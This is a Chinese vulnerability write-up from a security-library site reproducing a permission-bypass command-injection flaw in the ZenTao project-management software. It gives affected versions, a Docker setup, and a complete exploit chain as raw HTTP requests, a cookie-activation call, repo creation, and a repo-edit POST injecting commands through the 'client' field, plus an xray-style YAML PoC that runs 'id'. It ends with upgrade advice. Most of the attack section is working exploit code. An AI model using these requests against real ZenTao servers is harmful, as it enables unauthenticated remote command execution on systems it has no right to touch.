禅道项目管理软件命令注入漏洞–那个少年-漏洞文库小世界-安全文库-NGC660 安全实验室

禅道项目管理软件命令注入漏洞–那个少年

0x01漏洞描述

禅道是第一款国产的开源项目管理软件,也是国内最流行的项目管理软件。该系统在2023年初被爆出在野命令执行漏洞,官方已于2023年1月12日发布了漏洞修复补丁。该漏洞是由于禅道项目管理系统权限认证存在缺陷导致,攻击者可通过权限绕过在服务器执行任意命令。

0x02影响范围

开源版:
17.4以下的未知版本<=version<=18.0.beta1
旗舰版:
3.4以下的未知版本<=version<=4.0.beta1
企业版:
7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2

0x03环境搭建

1、自己动手

官网下载
搜索18.0.beta1

m_3f18f885f65ed63999d958fd46409331_r

点开然后直接拉到最下面

m_bed56a749f089e50a108886d1a6eddfa_r

选择linux一键安装版本(windows经测试发现复现有问题)

m_a160054847af78723a712cc04a94e196_r

下载后根据安装文档安装即可

m_830cc4292f1499aacea40e2a1e8c8ed2_r

2、docker

一句话直接搞定
docker pull easysoft/zentao:18.0.beta1

docker run --name zentao -d -p 8090:80 easysoft/zentao:18.0.beta1
启动

m_ceee7bac3a3b7905f780888a94edcc55_r

直接访问http://ip:8090/ ,进行安装

m_71f5903691caff8d33ec4a9df08fcfdf_r

数据库密码默认为123456

m_abc5e71d034bce759b15aaf0f9b8b224_r

成功安装

m_fc5d1f97216af41f13da80b6555156fb_r

查看源码版本号18.0.beta1

m_ff4eaff3758bb95f671a597f3858b1bd_r

0x04漏洞复现

1、激活cookie

在首页抓包

m_8e64de2ec5dc2c9b5fa2341cdb63bf84_r

然后修改路径,以及cookie(格式一样就行)
路径:/misc-captcha-user.html
Cookie: Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default
返回200 页面正常基本都是存在

m_efc786aed127cbb2cb361439753f2bec_r

2、创建代码库

路径:/repo-create.html
数据包:

POST /repo-create.html HTTP/1.1
Host: your-ip
Content-Length: 113
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://your-ip
Referer: http://your-ip/zentao/repo-edit-1-0.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie:zentaosid=984f74a56cc7ef44625511101014965c; lang=zh-cn; device=desktop; theme=default; tab=my; repoBranch=master; windowWidth=1187; windowHeight=658
Connection: close

product%5B%5D=22222&SCM=Gitlab&name=22222&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=aaa

看到sucess 即为成功。

m_0d04bcb254522df37926211e0a2ede76_r

3、执行命令

路径:/repo-edit-10000-10000.html
poc:

POST /repo-edit-10000-10000.html HTTP/1.1
Host: your-ip
Content-Length: 47
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://your-ip
Referer: http://your-ip/repo-edit-1-0.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie:zentaosid=984f74a56cc7ef44625511101014965c; lang=zh-cn; device=desktop; theme=default; tab=my; repoBranch=master; windowWidth=1187; windowHeight=658
Connection: close

SCM=Subversion&client=`执行的命令`  

成功执行

m_37e4ce07caa24b3cf9e2056fc77d6d93_r

0x05 poc检测

params: []
name: 禅道项目管理软件命令注入漏洞
set:
  referer: request.url
  r1: randomInt(800000000, 1000000000)
  r2: randomInt(800000000, 1000000000)
  r3: randomInt(100, 100000)
rules:
- method: GET
  path: /misc-captcha-user.html
  headers:
    Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default
  body: ""
  search: ""
  followredirects: false
  expression: response.status == 200
- method: POST
  path: /repo-create.html
  headers:
    Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default
    Referer: '{{referer}}/repo-edit-1-0.html'
    X-Requested-With: XMLHttpRequest
  body: product%5B%5D={{r3}}&SCM=Gitlab&name={{r3}}&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(bytes("success"))
- method: POST
  path: /repo-edit-10000-10000.html
  headers:
    Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default
    Referer: '{{referer}}/repo-edit-1-0.html'
    X-Requested-With: XMLHttpRequest
  body: SCM=Subversion&client=`id`
  search: ""
  followredirects: false
  expression: response.status == 200 && response.body.bcontains(bytes("uid"))
groups: {}
detail:
  author: ""
  links: []
  description: ""
  version: ""

m_a6209205fc3a29c12b58acd1e91c50a8_r

0x06 修复建议

开源版升级至 18.0.beta2 及以上版本;
企业版升级至 8.0.bate2 及以上版本;
旗舰版升级至 4.0.bate2 及以上版本;

请登录后发表评论

    请登录后查看回复内容